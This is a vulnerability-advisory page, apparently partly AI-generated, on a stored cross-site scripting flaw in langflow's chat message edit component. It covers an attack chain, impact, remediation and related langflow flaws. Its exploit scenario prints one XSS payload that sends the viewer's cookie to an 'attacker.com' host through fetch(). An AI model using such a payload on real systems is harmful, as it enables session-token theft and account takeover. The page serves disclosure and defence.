Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to langflow instance
-
DeliveryLocate editable chat message
-
ExploitInject XSS payload into message edit form
-
InstallSubmit malicious message update
-
C2Victim views edited message in UI
-
ExecuteBrowser executes embedded JavaScript
-
ImpactAttacker exfiltrates session token or sensitive data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must be authenticated to the langflow instance with permission to edit at least one chat message (specific edit permission level not detailed in available data). The victim must be an authenticated user in the same langflow workspace or chat session who views the attacker's manipulated message in the UI. The edit-message.tsx React component must render the message content without proper HTML entity encoding or DOM-based XSS prevention. No special configuration or non-default setup is required; the vulnerability exists in the standard frontend rendering pipeline. Exploitation is NOT possible by unauthenticated attackers or against default read-only configurations, but the combination of a Web-accessible UI and multi-user authentication model means any authenticated insider or compromised account becomes a vector. |
| Impact | CVSS 3.5 (low severity) reflects constrained attack surface: network vector but requiring authenticated access (PR:L), user interaction to trigger (UI:R), and low impact (integrity only, no confidentiality or availability loss). However, CVSS does not fully capture real-world risk in this context. The E:P rating (exploit proof-of-concept published) and publicly available exploit code lower the barrier to exploitation. KEV status is not provided, suggesting no confirmed active exploitation by CISA to date, but the published POC and unresponsive vendor increase practical risk within environments where langflow is actively used. The primary risk vector is insider or low-privilege user compromise (e.g., a compromised account or malicious team member) executing XSS against other authenticated users to steal session tokens, API keys, or sensitive data visible in the UI. Organizations relying on langflow in multi-user environments (team deployments) should treat this as moderate priority for patching, as the combination of published exploit, unresponsive vendor, and multi-user targeting potential elevates risk beyond the base CVSS score. MISSING DATA: No vendor patch version is confirmed; no CISA KEV listing; no EPSS score provided to assess baseline exploitation probability. |
| Exploit ScenarioDerived | An authenticated attacker (team member with access to langflow) crafts a chat message containing a malicious script payload (e.g., <img src=x onerror="fetch('https://attacker.com/steal?token='+document.cookie)">) and submits it as a message edit. When another authenticated user views the edited message in the chat interface, the browser executes the embedded script, exfiltrating the viewer's session token or API key to the attacker's server. The attacker then uses the stolen token to impersonate the victim user and access sensitive workflow data or integrations within langflow. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 20, 2026
Stored cross-site scripting (XSS) in langflow-ai langflow up to version 1.8.3 allows authenticated users to inject malicious scripts into chat messages via the edit-message component, which are then executed in the browsers of other users viewing the manipulated message. The vulnerability requires user interaction (recipient must view the crafted message) and authenticated access, limiting scope to users within a langflow instance, but publicly available exploit code exists and the vendor has not responded to early disclosure.
RemediationAI
Upgrade langflow to a patched version greater than 1.8.3 immediately; however, no vendor-released patch version has been confirmed in available data, and the vendor has not responded to disclosure. As an interim compensating control, implement network-level Content Security Policy (CSP) headers on the langflow instance to disable inline script execution and restrict script sources to trusted domains only - this will break XSS payload execution even if injected but may impact legitimate React functionality requiring evaluation. Additionally, restrict chat message editing capabilities to specific roles and audit message modifications for suspicious content. If multi-user collaboration is not required, disable message editing entirely or limit edit access to administrators only. Monitor for indicators of compromise: check for unusual JavaScript execution in browser console during chat use, review authentication logs for token theft or unauthorized access, and inspect local storage/cookies for exfiltration. Note that these controls do not eliminate the underlying vulnerability but reduce exploitability window until patched. Contact langflow-ai for patch availability or consider migrating to an alternative if the vendor continues non-response.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in a React frontend component (edit-message.tsx) responsible for rendering and editing chat messages in langflow's UI. The underlying issue is improper input sanitization when processing user-controlled chat message content, violating CWE-79 (Improper Neutralization of Input During Web Page Generation). React components rendering user input without proper escaping or Content Security Policy enforcement allow injected HTML/JavaScript to execute in the context of other authenticated users' browsers. The affected product is langflow-ai langflow, an open-source flow-based language model orchestration platform, with versions up to 1.8.3 vulnerable. The attack vector is network-based exploitation of the frontend UI, requiring the attacker to already be authenticated to the langflow instance and manipulate a message they have permission to edit.
Know when Langflow gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
6DescriptionCVE.org
A flaw has been found in langflow-ai langflow up to 1.8.3. This affects an unknown function of the file src/frontend/src/modals/IOModal/components/chatView/chatMessage/components/edit-message.tsx of the component Frontend React Component Rendering. Executing a manipulation can lead to cross site scripting. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in langflow-ai langflow Multiple Vulnerabilities
View all 5Langflow before 1.3.0 allows unauthenticated remote code injection through the /api/v1/validate/code endpoint, enabling
Langflow has a third RCE vulnerability via exec_globals (EPSS 10.0%) allowing inclusion of untrusted code that executes
Account takeover and remote code execution in Langflow AI workflow platform versions ≤1.6.9 due to a CORS misconfigurati
Langflow has a code injection vulnerability in the code component (EPSS 2.6%) enabling remote code execution through the
Langflow has an eval injection in eval_custom_component_code (EPSS 2.0%) enabling remote code execution through crafted
Remote code execution in IBM Langflow OSS 1.0.0 through 1.9.3 lets an unauthenticated attacker inject and run arbitrary
Code injection in Langflow CSV Agent node before 1.8.0. The node hardcodes allow_dangerous_code=True, enabling arbitrary
Langflow through 0.6.19 allows remote code execution if untrusted users are able to reach the "POST /api/v1/custom_compo
OS command injection in Langflow's MCP stdio transport allows an attacker who can reach the MCP server configuration end
langflow <=1.0.18 is vulnerable to Remote Code Execution (RCE) as any component provided the code functionality and the
langflow v1.0.12 was discovered to contain a remote code execution (RCE) vulnerability via the PythonCodeTool component.
Langflow before 1.7.0.dev45 exposes multiple API endpoints without authentication, allowing unauthenticated access to us
EUVD-2026-23764
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB